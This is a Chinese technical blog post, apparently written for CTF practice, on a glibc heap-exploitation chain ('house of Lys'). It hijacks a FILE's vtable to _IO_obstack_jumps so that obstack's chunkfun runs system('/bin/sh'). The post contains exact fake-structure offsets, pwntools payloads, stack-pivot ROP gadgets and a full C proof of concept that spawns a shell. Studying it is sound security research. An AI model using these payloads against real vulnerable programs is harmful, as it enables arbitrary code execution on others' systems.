首页 > 其他分享 >一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析

一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析

时间:2023-06-16 18:33:38浏览次数:64  
标签:__ glibc chunk long JUMP IO obstack jumps

一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析

本文首发于[跳跳糖],仅在个人博客记录。由于跳跳糖的文章无法修改,所以本文有部分不同

前言

众所周知,由于移除了__malloc_hook/__free_hook/__realloc_hook等等一众hook全局变量,高版本glibc想要劫持程序流,离不开攻击_IO_FILE。而笔者近期在国外大佬博客中发现一条新的可利用的函数调用链,他称之为 house of Lys,与house of apple2一样,只需要一次地址任意写,而且适用于目前所有的glibc版本,故在此结合源码和自己的理解和大家分享一下,也感谢roderick师傅和whiter师傅的指导与支持。如果有哪里不对恳请师傅们斧正!该攻击链发现者的博文如下:[SECCON CTF 2022 Quals] babyfile | repr (nasm.re)

简介

此利用与house of applehouse of cathouse of emma等利用一样,利用了修改虚表指针的方法。主要思路就是修改虚表指针为_IO_obstack_jumps实现攻击。

利用条件

1.能修改stdoutstdinstderr其中一个_IO_FILE_plus结构(fastbin attack或tcachebin attack)或劫持 _IO_list_all。(如large bin attacktcache stashing unlink attackfastbin reverse into tcache)

2.能够触发IO流,执行IO相关函数。

3.能够泄露堆地址和libc基址。

利用原理

前置知识

_IO_FILE结构体

源码如下:


struct _IO_FILE {
      int _flags;
    #define _IO_file_flags _flags
 
    char* _IO_read_ptr;   /* Current read pointer */ 
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */
 
    struct _IO_marker *_markers;
 
    struct _IO_FILE *_chain;
 
    int _fileno;
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset;	/* This used to be _offset but it's too small.  */
 
#define __HAVE_COLUMN	/* temporary */
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    
    /*  char* _save_gptr;  char* _save_egptr; */
    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

该结构体应该不难理解,不过多赘述。

_IO_jump_t结构体

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

当我们对一个文件对象fp进行操作时,往往会使用到_IO_jump_t结构体内某一函数。

_IO_FILE_plus结构体

源码如下:

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

也就是在_IO_FILE追加了个指向_IO_jump_t结构体的指针。

obstack结构体

源码如下:

struct obstack          /* control current object in current chunk */
{
  long chunk_size;              /* preferred size to allocate chunks in */
  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
  char *object_base;            /* address of object we are building */
  char *next_free;              /* where to add next char to current object */
  char *chunk_limit;            /* address of char after current chunk */
  union
  {
    PTR_INT_TYPE tempint;
    void *tempptr;
  } temp;                       /* Temporary for some macros.  */
  int alignment_mask;           /* Mask of alignment for each object. */
  /* These prototypes vary based on 'use_extra_arg', and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
  struct _obstack_chunk *(*chunkfun) (void *, long);
  void (*freefun) (void *, struct _obstack_chunk *);
  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */
  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */
  unsigned maybe_empty_object : 1; /* There is a possibility that the current
				      chunk contains a zero-length object.  This
				      prevents freeing the chunk if we allocate
				      a bigger chunk to replace it. */
  unsigned alloc_failed : 1;      /* No longer used, as we now call the failed
				     handler on error, but retained for binary
				     compatibility.  */
};

在此,我们不需要过多关注,只需要理解下述函数调用链的时候,知道有这么个结构体即可。

_IO_obstack_file结构体

源码如下:

struct _IO_obstack_file
{
  struct _IO_FILE_plus file;
  struct obstack *obstack;
};

简单来说,就是给_IO_FILE_plus追加了一个指向obstack结构体的指针

vtable 劫持的检测措施

在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plusvtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

简单来说,如果 vtable 地址是非法的,那么会引发 abort。

原理分析

_IO_obstack_jumps

由上可知,vtable必须合法,我们观察以下vtable

/* the jump table.  */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, NULL),
  JUMP_INIT(overflow, _IO_obstack_overflow), 	//函数一
  JUMP_INIT(underflow, NULL),
  JUMP_INIT(uflow, NULL),
  JUMP_INIT(pbackfail, NULL),
  JUMP_INIT(xsputn, _IO_obstack_xsputn),	//函数二
  JUMP_INIT(xsgetn, NULL),
  JUMP_INIT(seekoff, NULL),
  JUMP_INIT(seekpos, NULL),
  JUMP_INIT(setbuf, NULL),
  JUMP_INIT(sync, NULL),
  JUMP_INIT(doallocate, NULL),
  JUMP_INIT(read, NULL),
  JUMP_INIT(write, NULL),
  JUMP_INIT(seek, NULL),
  JUMP_INIT(close, NULL),
  JUMP_INIT(stat, NULL),
  JUMP_INIT(showmanyc, NULL),
  JUMP_INIT(imbue, NULL)
};

可知,该vtable内只存在两个函数,分别为_IO_obstack_overflow_IO_obstack_xsputn

接下来我们对_IO_obstack_xsputn这个函数进行分析

_IO_obstack_xsputn

static _IO_size_t
_IO_obstack_xsputn (_IO_FILE *fp, const void *data, _IO_size_t n)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;

  if (fp->_IO_write_ptr + n > fp->_IO_write_end)
    {
      int size;
      /* We need some more memory.  First shrink the buffer to the
	 space we really currently need.  */
      obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);

      /* Now grow for N bytes, and put the data there.  */
      obstack_grow (obstack, data, n);	//关注这个

      [...]
}

观察该函数,首先获得_IO_obstack_file结构体中的obstack结构体指针作为后面函数运行的参数。然后要绕过fp->_IO_write_ptr + n > fp->_IO_write_end,执行obstack_blank_fast(obstack, fp->_IO_write_ptr - fp->_IO_write_end);,而obstack_blank_fast是个宏定义源码如下:

#define obstack_blank_fast(h, n) ((h)->next_free += (n))

对此不过多关注。然后执行obstack_grow函数,obstack_grow函数源码如下:

#define obstack_grow(OBSTACK, where, length)				      \
  __extension__								      \
    ({ struct obstack *__o = (OBSTACK);					      \
       int __len = (length);						      \
       if (_o->next_free + __len > __o->chunk_limit)			      \
	 _obstack_newchunk (__o, __len);				      \		//关注这里
       memcpy (__o->next_free, where, __len);				      \
       __o->next_free += __len;						      \
       (void) 0; })

可以看到,当_o->next_free + __len > __o->chunk_limit时,调用_obstack_newchunk_obstack_newchunk函数源码如下:

void
_obstack_newchunk (struct obstack *h, int length)
{
  struct _obstack_chunk *old_chunk = h->chunk;
  struct _obstack_chunk *new_chunk;
  long new_size;
  long obj_size = h->next_free - h->object_base;
  long i;
  long already;
  char *object_base;

  /* Compute size for new chunk.  */
  new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
  if (new_size < h->chunk_size)
    new_size = h->chunk_size;

  /* Allocate and initialize the new chunk.  */
  new_chunk = CALL_CHUNKFUN (h, new_size);
  [...]
}

对此,我们关注CALL_CHUNKFUN这个宏定义,CALL_CHUNKFUN源码如下:

# define CALL_CHUNKFUN(h, size) \
  (((h)->use_extra_arg)							      \
   ? (*(h)->chunkfun)((h)->extra_arg, (size))				      \
   : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

可以看到当((h)->use_extra_arg不为0时,调用(*(h)->chunkfun)((h)->extra_arg, (size)),而这也就是我们要利用的点。

绕过条件

此时总结一下我们需要绕过的条件:

  • fp->_IO_write_ptr + n > fp->_IO_write_end
  • _o->next_free + __len > __o->chunk_limit
  • (h)->use_extra_arg不为0
函数调用链

从调用_IO_obstack_xsputn开始分析,假设满足上述所有需要绕过的所有条件,得以下调用链:

  • _IO_obstack_xsputn
    • obstack_grow
      • _obstack_newchunk
        • CALL_CHUNKFUN(一个宏定义)
          • (*(h)->chunkfun)((h)->extra_arg, (size))

利用方法

本文分析基于amd64下通过FSOP触发。

我们知道FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是exit函数调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

我们调试可以知道_IO_overflow位于vtable指针所指向地址+0x18处,也就是说当FSOP发生的时候会调用_IO_FILE_plus.vtable 中的_IO_overflow。即调用vtable指针所指向地址 + 0x18处的数据。

image-20221124020727031

那么只要我们伪造一个_IO_FILE结构体,将它的vtable替换为&_IO_obstack_jumps+0x20,此时vtable指针所指地址+0x18处为_IO_obstack_xsputn。假设满足所有需要绕过的条件,执行_IO_flush_all_lockp 时,会执行_IO_obstack_xsputn,假设通过exit进行FSOP,得到以下调用链。

exit
 __run_exit_handlers
   fcloseall
     _IO_cleanup
		_IO_flush_all_lockp
     		_IO_obstack_xsputn
         		obstack_grow
           			_obstack_newchunk
              			CALL_CHUNKFUN(一个宏定义)
                			(*(h)->chunkfun)((h)->extra_arg, (size))

攻击思路一

回顾需要绕过的条件,如下:

  • fp->_IO_write_ptr + n > fp->_IO_write_end
  • _o->next_free + __len > __o->chunk_limit
  • (h)->use_extra_arg不为0

并结合原理分析的内容可知,当满足以下条件的时候可以实现攻击:

该攻击思路主要是利用比较少的字节完成攻击(将fp和obstack指向同个地址)

  • 利用largebin attack伪造_IO_FILE,记完成伪造的chunkA(或者别的手法)
  • chunk A内偏移为0x18处设为1(next_free)
  • chunk A内偏移为0x20处设为0(chunk_limit
  • chunk A内偏移为0x28处设为1(_IO_write_ptr)
  • chunk A内偏移为0x30处设为0 (_IO_write_end)
  • chunk A内偏移为0x38处设为system函数的地址
  • chunk A内偏移为0x48处设为&/bin/sh
  • chunk A内偏移为0x50处设为1 (use_extra_arg)
  • chunk A内偏移为0xd8处设为&_IO_obstack_jumps+0x20
  • chunk A内偏移为0xe0处设置chunk A的地址作为obstack结构体

可参考payload如下:

payload = flat(
	{
		0x18:1,
		0x20:0,
		0x28:1,
		0x30:0,
		0x38:address_for_call,
		0x48:address_for_rdi,
		0x50:1,	
		0xd8:&_IO_obstack_jumps+0x20,
		0xe0:this_mem_address,
	},
	filler = '\x00'
)

执行结果如下:

image-20221124024136104

攻击思路二

将fp与obstack分开指向不同的地址,方便区分,而易于理解

回顾需要绕过的条件,如下:

  • fp->_IO_write_ptr + n > fp->_IO_write_end
  • _o->next_free + __len > __o->chunk_limit
  • (h)->use_extra_arg不为0

并结合原理分析的内容可知,当满足以下条件的时候可以实现攻击:

该攻击思路主要是利用比较少的字节完成攻击(将fp和obstack指向同个地址)

  • 利用largebin attack伪造_IO_FILE,记完成伪造的chunkA(或者别的手法)
  • 记一块可控堆内存为B
  • chunk A内偏移为0x28处设为1(_IO_write_ptr)
  • chunk A内偏移为0x30处设为0 (_IO_write_end)
  • chunk A内偏移为0xe0处设置chunk B的地址作为obstack结构体
  • chunk A内偏移为0xd8处设为&_IO_obstack_jumps+0x20
  • chunk B内偏移为0x18处设为1(next_free)
  • chunk B内偏移为0x20处设为0(chunk_limit
  • chunk B内偏移为0x38处设为system函数的地址
  • chunk B内偏移为0x48处设为&/bin/sh
  • chunk B内偏移为0x50处设为1 (use_extra_arg)

可参考的payload

obstack_pd = flat(
	{
		0x18:0x1,
		0x20:0,
		0x38:libc_base + libc.sym["system"],
		0x48:binsh,
		0x50:1,
	},
	filler = '\x00'
)

payload = flat(
	{
		0x28:1,
		0x30:0,
		0xd8:libc_base + get_IO_str_jumps() - 0x300 + 0x20,
		0xe0:heap_base + 0x250 + 0x100,
		0x100:obstack_pd
	},
	filler = '\x00'
)

栈迁移思路一

在此,由于低版本都有__free_hook这一hooksetcontext等gadget的存在,笔者只考虑高版本下的栈迁移,找到了3个gadget用来实现栈迁移,如下:

gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__()
gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__()
gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__()

触发思路如下:

  • 触发本文的利用链,rdi放个堆地址,记为A,并调用gg1
  • &A + 8放入&A
  • &A + 0x0处放gg3
  • &A + 0x20处放gg2
  • &A + 0x40处放ROP

可参考payload如下:

gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__() + libc_base
gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__() + libc_base
gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__() + libc_base
flat(
    {
        0x0:gg3,
        0x8:[
            this_heap_address,
        ],
        0x20:[
            gg2
        ],
        0x40:
        [
            rop_payload,
        ],
    },
)
  • 调用流程为gg1 -> gg2 -> gg3 -> rop_payload

栈迁移思路二

主要是利用了svcudp_reply+0x26。不确定该gadget在glibc2.37存不存在

参考链接

POC

/*
 * @Author: 7resp4ss
 * @Date: 2022-11-23 18:09:39
 * @LastEditTime: 2022-11-23 17:26:04
 * @Description: 
 *gcc poc.c -g -o poc

 *GLIBC version are as follows:
	GNU C Library (Ubuntu GLIBC 2.34-0ubuntu3.2) stable release version 2.34.
	Copyright (C) 2021 Free Software Foundation, Inc.
	This is free software; see the source for copying conditions.
	There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
	PARTICULAR PURPOSE.
	Compiled by GNU CC version 10.3.0.
	libc ABIs: UNIQUE IFUNC ABSOLUTE
	For bug reporting instructions, please see:
	<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
*/


#include<stdio.h>
#include <stdlib.h>

#define writeend_offset 0x30
#define writeptr_offset 0x28
#define vtable_offset 0xd8
#define next_free_offset 0x18 
#define chunk_limit_offset 0x20
#define caller_offset 0x38
#define caller_arg_offset 0x48
#define use_arg_offset 0x50
#define fake_obstack_offset 0xe0

void backdoor(char *cmd)
{
  puts("OHHH!HACKER!!!");
  puts("HERE IS U SHELL!");
  system(cmd);
}

char *fake_arg = "/bin/sh\x00";

int main(void)
{
    puts("this is a poc");
    size_t libc_base = &puts - 0x80ef0;
    size_t _IO_list_all_prt = libc_base + 0x21a660;
    size_t _IO_obstack_jumps_prt = libc_base + 0x2163c0;
    void *ptr;
    long long *list_all_ptr;
    ptr=malloc(0x200);
	//bypass
    *(long long*)((long long)ptr+writeptr_offset)=0x1;
    *(long long*)((long long)ptr+writeend_offset)=0x0;
    *(long long*)((long long)ptr+next_free_offset)=0x1;
    *(long long*)((long long)ptr+chunk_limit_offset)=0x0;
    *(long long*)((long long)ptr+use_arg_offset)=0x1;
    *(long long*)((long long)ptr+fake_obstack_offset)=(long long*)ptr;
	//vtable _IO_obstack_jumps_prt
    *(long long*)((long long)ptr+vtable_offset)=(long long*)(_IO_obstack_jumps_prt+0x20);
    //set the function to call and its parameters
    *(long long*)((long long)ptr+caller_offset)=(long long*)(&backdoor);
    *(long long*)((long long)ptr+caller_arg_offset)=(long long*)(fake_arg);
	//_IO_list_all _chain 2 fake _IO_FILE_plus
    list_all_ptr=(long long *)(_IO_list_all_prt + 0x68 + 0x20);
    list_all_ptr[0]=ptr;
    exit(0);
}

POC运行结果如下:

image-20221124052824890

总结

该攻击手法的利用非常简单,而且可以稳定控制需要调用的函数和rdi,需要bypass的条件也很容易满足。若遇到需要栈迁移的题目,只需要利用3个gadget即可。

参考链接

标签:__,glibc,chunk,long,JUMP,IO,obstack,jumps
From: https://www.cnblogs.com/7resp4ss/p/17486261.html

相关文章

  • SpringBoot集成Swagger报错:Failed to start bean 'documentationPluginsBootstrapper'
    本文章向大家介绍SpringBoot集成Swagger报错:Failedtostartbean'documentationPluginsBootstrapper';,主要包括SpringBoot集成Swagger报错:Failedtostartbean'documentationPluginsBootstrapper';使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需......
  • 3.1 卷积神经网路 (Convolutional Neural Networks, CNN)
    1.概念引入:ImageClassification  我们做图像分类时,一般分为三步:所有图片都先rescale成大小一样把每一个类别表示成一个one-hotvector(dimension的长度决定模型可以辨识出多少不同种类的东西)将图片输入到模型中......
  • 【活动访谈】发力数字基座 推动物联创新—航天科技控股集团AIRIOT4.0平台发布会活动专
     近日,由航天科技控股集团股份有限公司主办的“数字基座智慧物联—AIRIOT4.0平台发布会”在北京圆满落幕。航天三院科技委总工程师王连宝应邀出席本次会议并接受媒体采访,共同参与访谈的还有AIRIOT产品研发创始人、航天科技控股集团股份有限公司智慧物联事业部总经理田淼,两位就......
  • [6] Fast and Practical Secret Key Extraction by Exploiting Channel Response 论文
    摘要摘要写的很清楚,几句话说明了当前密钥发展现状,即使用RSS为基础的密钥生成解决方案的生成速率有待提升,因此本文主打一个高速率;此外本文提出了CGC算法来解决现实生活中的信道互易性差的问题;此外,其能够抵御被认为对RSS技术有害的恶意攻击!但是他的Abstract我有一点不满哈,全文都是......
  • Subversion-Cookbook.13
    [1]https://svn.apache.org/repos/asf/subversion/trunk/doc/user/svn-best-practices.htmlcreateandapplypatch#createsvndiff>xxx.patch#applysvnpatchxxx.patchtortoisesvn右键菜单,详见:https://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-dug-pa......
  • WhaleStudio 完成与偶数科技云原生分布式数据库 OushuDB 的产品兼容性认证
    近日,白鲸开源「WhaleStudiov2.0」已通过与北京偶数科技产品云原生分布式数据库OushuDBv5.0的相互兼容性测试,并获得授权证书。白鲸开源与偶数科技的联合测试结果显示,经过产品的功能、兼容性测试,WhaleStudiov2.0在云原生分布式数据库OushuDBv5.0上整体运行稳定,满足功能及......
  • attention学习-课程笔记
    attention层计算过程:相似度函数fatt计算输入X和查询向量q之间的相似度e;相似度e经过softmax计算得到权重a。 向量e和a的长度与输入X的第一个维度相同。权重a与输入X相乘,得到输出y。相似度计算可使用点积dotprodecut,由于输入X的维度通常较高,q.X值会很大,因此使用sqrt(Dq)进......
  • 【阅读笔记】Anchored Neighborhood Regression for Fast Example-Based uper Resolut
    论文信息[AnchoredNeighborhoodRegressionforFastExample-BaseduperResolution]-TIMOFTER,2013,IEEEInternationalConferenceonComputerVision前置内容邻域嵌入(NeighborEmbedding,NE)是“样本-样本”映射,在训练样本中寻找测试样本的相似邻居特征样本,计算量略大。......
  • 2.6 类神经网路训练不起来怎么办 (五):批次标准化 (Batch Normalization)简介
    1.提出背景  在前文,我们提过\(error\surface\)在不同方向的斜率不一样,因此采用固定的学习率很难将模型\(train\)起来,上节提出了自适应学习率,这里还有一个方法就是直接将e\(rror\surface\)铲平.  或许首先想要提出的是为什么会产生不同方向上斜率相差很大的现象.观察......
  • python中parse的action = store_true含义
     我们在python脚本中经常看到action="store_true,如下图: parser.add_argument('--image',default=False,action="store_true",help='Imagedetectionmode,willignoreallpositionalarguments') 如果运行代码时加了   --image,那么im......